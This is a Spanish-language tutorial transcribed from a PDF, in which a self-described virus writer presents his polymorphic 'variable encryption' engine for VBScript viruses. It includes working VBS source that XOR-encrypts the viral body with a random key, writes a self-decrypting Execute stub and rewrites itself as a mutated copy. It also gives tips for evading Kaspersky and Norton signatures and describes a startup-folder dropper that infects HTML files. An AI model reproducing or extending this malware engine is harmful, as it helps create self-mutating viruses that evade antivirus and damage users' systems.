encripción variable o mutante

8
Encripcion variable Desde hace ya varios meses, para ser exactos como 10 estuve trabajando en la investigación y el desarrollo de un motor polimorfico, todo esto comenzó gracias al desarrollo de una especie viral la cual nunca terminé, realmente sí, pero tiene unos pequeños errores en su código viral, gracias a que no le implementé la versión final de este motor que les vengo comentando. Todo esto empezó a raíz de que empezé a estudiar Engines polimorficos (El de kefi) y el VB.Poly de alcopaul J. En resumen mi motor es la unión de diferentes metodos polimorficos, para realizar un enigne perfecto (bueno casi, ya que nadie/nada lo es) Encripción Variable: Básicamente he llamado a esto encripción polimorfica (mutante) o variable, creo que los dos términos anteriores no necesitan explicación J, esta parte de mi motor fue la más complicada y que tomó varios meses y esto fue el culpable de mi retraso, ya que tenía varios problemas, además una clara desventaja es que esta opción a utilizar puede causar una lentitud considerable en virus de gran tamaño y cuerpo, por lo cual su utilización es recomendable en virus sencillos y de no más de 10 kb (por lo menos) . El algoritmo que se me ocurrió para realizar esto fue el del virus VB.Poly de alcopaul que generaba una llave, encriptaba su código e infectaba el archivo, además de pegar al principio una pseudo- cabezera mientras que al final el código viral y en medio el host. Hasta ahí tenía ya una base, luego de esto estuve investigando y encontré algo que decía que los virus polimorficos mutaban su código encriptado, cambiando la llave de encripción que en muchos casos se usaba el algoritmo Xor por ser reversible, hasta ahí tenía otra idea… Luego llegó el SARS y la creación de un modulo infector con encripción distinta, que más abajo hablaré de él. La idea que se me ocurrió era esta: 1) Leer el código desencriptado que está localizado en una variable enlazada a una función 2) Generar una llave encriptora AcroPDF - A Quality PDF Writer and PDF Converter to create PDF files. To remove the line, buy a license.

Upload: amir-canto

Post on 03-Jul-2015

152 views

Category:

Documents


0 download

DESCRIPTION

Investigación de un algoritmo polimórfico... versión inicial...

TRANSCRIPT

Page 1: Encripción variable o mutante

Encripcion variable

Desde hace ya varios meses, para ser exactos como 10 estuve trabajando en la investigación y eldesarrollo de un motor polimorfico, todo esto comenzó gracias al desarrollo de una especie viral la

cual nunca terminé, realmente sí, pero tiene unos pequeños errores en su código viral, gracias aque no le implementé la versión final de este motor que les vengo comentando.

Todo esto empezó a raíz de que empezé a estudiar Engines polimorficos (El de kefi) y el VB.Polyde alcopaul J.

En resumen mi motor es la unión de diferentes metodos polimorficos, para realizar un enigneperfecto (bueno casi, ya que nadie/nada lo es)

Encripción Variable:

Básicamente he llamado a esto encripción polimorfica (mutante) o variable, creo que los dostérminos anteriores no necesitan explicación J, esta parte de mi motor fue la más complicada yque tomó varios meses y esto fue el culpable de mi retraso, ya que tenía varios problemas,además una clara desventaja es que esta opción a utilizar puede causar una lentitud considerableen virus de gran tamaño y cuerpo, por lo cual su utilización es recomendable en virus sencillos yde no más de 10 kb (por lo menos) .

El algoritmo que se me ocurrió para realizar esto fue el del virus VB.Poly de alcopaul que generabauna llave, encriptaba su código e infectaba el archivo, además de pegar al principio una pseudo-cabezera mientras que al final el código viral y en medio el host.

Hasta ahí tenía ya una base, luego de esto estuve investigando y encontré algo que decía que losvirus polimorficos mutaban su código encriptado, cambiando la llave de encripción que en muchoscasos se usaba el algoritmo Xor por ser reversible, hasta ahí tenía otra idea…

Luego llegó el SARS y la creación de un modulo infector con encripción distinta, que más abajohablaré de él.

La idea que se me ocurrió era esta:

1) Leer el código desencriptado que está localizado en una variable enlazada a una función

2) Generar una llave encriptora

AcroPDF - A Quality PDF Writer and PDF Converter to create PDF files. To remove the line, buy a license.

Page 2: Encripción variable o mutante

3) Preparar código desencriptor

4) Encriptar el código que se encuentra en esta variable

5) Crear la nueva especie viral encriptada y con su algoritmo de encripción con llavedistinta, el código encriptado está almacenado en una variable que enlaza una función.

Ahora bien si analisas mi algoritmo te preguntarás…

Cómo leer el código desencriptado que está localizado en una variable si al final dices queencriptas el código…

O no?

Básicamente es lo que yo razono en mi mente.

La respuesta es fácil, tendríamos que encriptar el virus después de haber codeado todas lasfunciones, y simular como si él mismo lo hubiera hecho, no sé si me doy a explicar?

Para aclararlo tendríamos que “Ensamblar” el código, encriptarlo como si él mismo se encriptaracon la ayuda de otro archivo VBS creado previamente por nosotros.

Yo lo veo claro, tu no?

Empezemos con el estudio de mi algoritmo para una mayor comprensión:

‘----------------------------Inicio de Modulo encriptor variable ----------------------------------

Randomize

Rem Written by Falck0nRem ---------------------------------Rem Polymorphic encriptionDim VirFNameVirFName = "CuerpoViral"

Main()

Function EncriptionAlgorit(VirBC,NumberBte)Dim SDT15,XSDT1For SDT15 = 1 to len(VirBC) : XSDT1 = Asc(Mid(VirBC, SDT15, 1))EncriptionAlgorit = EncriptionAlgorit + Chr(XSDT1 Xor NumberBte)nextEnd Function

AcroPDF - A Quality PDF Writer and PDF Converter to create PDF files. To remove the line, buy a license.

Page 3: Encripción variable o mutante

Function Random_NumGen()SDT10 = 2 : SDT11 = Int(Rnd*6) : SDT12 = int(Rnd*6)Random_NumGen = SDT10 & SDT11 & SDT12End Function

Function CodePolyVir(VirBoDys,NumGenx)CodePolyVir="Function "&VirFName&"()"&vbcrlf&VirFName&"=" & Chr(34) &EncriptionAlgorit(VirBoDys,NumGenX) & chr(34) & ":End Function"End Function

Function CodeCrypter(NPOEncrypt)CodeCrypter = "Execute("+Chr(34)+"Dim SDT15,XSDT1,SDT19,SDL00"+chr(34)+_"+Vbcrlf+"+chr(34)+"For SDT15 = 1 To len("&VirFName&"()"&")"+chr(34)+ _"+vbcrlf+"+chr(34)+"XSDT1 = Asc(Mid("&VirFName&"()"&",SDT15,1))"+chr(34)+ _"+vbcrlf+"+chr(34)+"SDT14 = SDT14 + Chr(XSDT1 Xor " + NPOEncrypt +")"+Chr(34)+ _"+vbcrlf+"+chr(34)+"next:SDL00=SDT14"+ chr(34) +"):Execute(SDL00)"End Function

Sub Main()Dim fso,Carchivo,VirusKeyVirRepldCode = SDL00 ‘Variable Importante, contiene el código viral desencriptadoVirusKey=Random_NumGen()Set fso = CreateObject("Scripting.FileSystemObject")Set Carchivo = fso.CreateTextFile(Wscript.ScriptFullName)Carchivo.WriteLine CodePolyVir(VirRepldCode,VirusKey)Carchivo.WriteLine CodeCrypter(VirusKey)Carchivo.CloseEnd Sub

‘---------------------------- Fin de Código -------------------------------------------

Interesante código verdad ? si lo ensamblamos correctamente, este cambiará su encripción cadavez, en resumen estará mutando.

A continuación trataré de explicar para que sirven cada una de las funciones que se encuentranaquí.

Antes de comentar esto, quiero decir que si copias y pegas este código no será detectado por KAV,pero en caso de ensamblarlo y ejecutarlo para ver como funciona, KAV Chillará y detectará comomi preciado VBS/Pleomorph aka VBS/Plomfer ;-) (un sencillo virus que utiliza mi motor)

Ahí les dejo que busquen y estudien la parte detectada y la modifiquen ;-) no les doy pistas porque está re-fácil.

AcroPDF - A Quality PDF Writer and PDF Converter to create PDF files. To remove the line, buy a license.

Page 4: Encripción variable o mutante

Bien pues comencemos:

Al inicio del código podemos ver una variable llamada VirFname, esta puede ser modificada

Con ella indicamos el nombre de la función que contendrá nuestro código mutante (por que unafunción y no una variable? Las dos cosas pueden ser pero prefiero utilizar una función porrazones… digamos uso de otro tipo de polimorfismo), Esta variable es muy importante por quecontendrá nuestro código viral encriptado.

Podemos modificar su valor a cualquier nombre eso no importa.

Seguido vemos una llamada a la Sub, Main, que esta contiene el VPC (Virus Principal Code)

Que será encargado de re-encriptar el virus y sacar una nueva especie.

Función “EncriptionAlgorit”

Con una llamada esta función podremos encriptar nuestro codigo viral a esta función se le pasandos valores, la primera contiene el código viral y la segunda la llave con la cual lo encriptaremos, ynos devolverá el código ya cifrado J

Función “Random_NumGen”

Generará la llave encriptora, por razones solo puedo generar del 200 al 255.

Si me preguntais por qué, la respuesta es fácil, debajo del 200 algunas veces un carácter puedeser encriptado como: “”” y al poner esto en una variable está claro que se jode, pero quien diceque no podemos arreglarlo ;-)

Función “CodePolyVir”

Esta función se le pasan dos valores el primero es el código viral desencriptado y el segundo lallave encriptora/desencriptora, y nos llama a la función EncriptionAlgorit que encripta el códigoviral con la llave especificada y a su ves la función nos devuelve una función con el nombreespecificado en la variable VirFName con el contenido viral encriptado, En resumen nos prepara elcódigo viral encriptado.

Función “CodeCrypter”

AcroPDF - A Quality PDF Writer and PDF Converter to create PDF files. To remove the line, buy a license.

Page 5: Encripción variable o mutante

Función que se le pasa un valor, la llave con la cual encriptaremos el código viral, esta función nosdevuelve el código del algoritmo de desencriptación para el virus

Nota: Como se puede apreciar utilizo el procedimiento Execute

Por qué?

R: Cuando andaba haciendo investigaciones con esta idea, me di cuenta de que NAV y otros AV’seran capaces de detectar este algoritmo de encripción, que por cierto muy utilizado por sersencillo, pero ah!!! al pasearme por ahí y encontrar el virus Redlof estuve estudiando su código elcual desencripté, además pude apreciar que utilizaba “Execute” en su algoritmo de encripción ypude darme cuenta que esto no era a propósito, si no era la respuesta a mi: Mi algoritmo esdetectado…

Y Ahí no acaba la cosa :P, gracias a redlof pude idear otra cosa que evitaría que los Aversdetectaran el código de desencriptación/Encripción para el virus, así teniendo que buscar algunaotra cadena que no mute J.

Sub Main()

En la segunda linea podemos apreciar claramente la variable VirRepldCode que apunta hacia lavariable SDL00, esta variable con el virus ya encriptado apunta hacia otra variable y esta contieneel código ya desencriptado, por ultimo se llama a Execute(SDL00) para ejecutar el código viral J.,en la tercera linea vemos una variable (VirusKey) que llama a la función generadora de llaves parael cifrado. Y por último vemos que creamos un archivo con el FSO.

Carchivo.WriteLine CodePolyVir(VirRepldCode,VirusKey)

Carchivo.WriteLine CodeCrypter(VirusKey)

El codigo de arriba, es muy entendible… escribe en el archivo en la primera linea el código viralencriptado con la llave encriptora asignada a la variable VirusKey.

VirRepldCode apunta a SDL00, en esta segunda linea vemos que escribe el algoritmo deencripción y desencripción con la llave generada.

Comentario: Uff ya me cansé, verá que es un poco complicado? Sí,

AcroPDF - A Quality PDF Writer and PDF Converter to create PDF files. To remove the line, buy a license.

Page 6: Encripción variable o mutante

No pondré el vbs que ensambla este código, simplemente tú tienes que buscarle, una pista:

Utiliza para encriptar el vbs el código que devuelve la función CodeCrypter, analízala bien ;-)

Nota agregada el dia de la publicación:Es posible que este código mostrado antes sea completamente detectado al estar encriptado, yaque KAV utiliza para detectarlo la linea execute(SDL00), ahora bien si implementamos una rutinaque aleatoreamente valla agregando executes podremos evadirla ejemplo generar un numeroaleatorio del 1 al 10 , si sacamos 5 entonces cuando generemos el code variable agregaremos 5executes

Execute(Execute(Execute(Execute(Execute(SDL00)))))

si me explico? eso espero.

Infector con encripción variable:

Para Mayo-Junio del pasado año (2003 :P) me encontraba descansando después de un largo díade escuela y de trabajo (coding) mientras veía las noticias donde hablaban sobre la guerra de Irakentre otro suceso que a todo mundo alarmó… La aparición de una especie viral clasificada entrelos corona virus (virus que afectan las vías respiratorias) llamado SARS, en ese momento meencontraba acostado en mi hamaca gueveando (flojeando) cuando pude escuchar claramente quedecían “Aún no se ha podido desarrollar una vacuna contra este virus ya que en cada paciente hayuna distinta forma del virus “ más o menos es lo que recuerdo y no puedo decir con exactitud loque dijo este señor (Pablo Latapí de Hechos del 7) , de ahí me surgío una estupenda idea, siSARS al infectar un huésped, se alojaba y cambiaba su estructura… Por qué yo no?...

Inmediatamente dejé el lugar, abandoné mis momentos de descanso para sentarme enfrente demi laboratorio en donde se me había ocurrido implementar este algoritmo de encripción variableque ya tenía varios meses atrás, esta es una gráfica de la función viral que realizaba esta especie:

AcroPDF - A Quality PDF Writer and PDF Converter to create PDF files. To remove the line, buy a license.

Page 7: Encripción variable o mutante

Por lo tanto cada que el virus buscaba un archivo html y al comprobar que no estaba infectadogeneraba un código el cual lo droppearía en la carpeta de inicio, este codigo iría siempreencriptado distintamente y lograríamos hacer que en cada copia la especie fuera distinta J esaidea fue tomada del virus SARS como ya dije antes.

Desgraciadamente cuando fui avanzado poco a poco en el desarrollo tuve unos problemas

Y terminé por eliminar este código…

Pero ahora que he terminado mi FPE (Falckon Polymorphic Engine) puedo volver a desarrollar elmismo código, aunque más automatizado y mejorado, ahora no tengo mayores complicaciones ysería fácil realizarlo.

------

Uff hasta aquí terminamos, son las 7:15 y empezé desde las 6.. pm. Bueno una hora de redaccióny estoy cansado, nos vemos mañana… Voy a ver tv mientras y relajarme :P.

Esto ha sido todo

AcroPDF - A Quality PDF Writer and PDF Converter to create PDF files. To remove the line, buy a license.

Page 8: Encripción variable o mutante

Texto Escrito Por Falckon

Mail: [email protected] Publicado el 06 de marzo de 2005

AcroPDF - A Quality PDF Writer and PDF Converter to create PDF files. To remove the line, buy a license.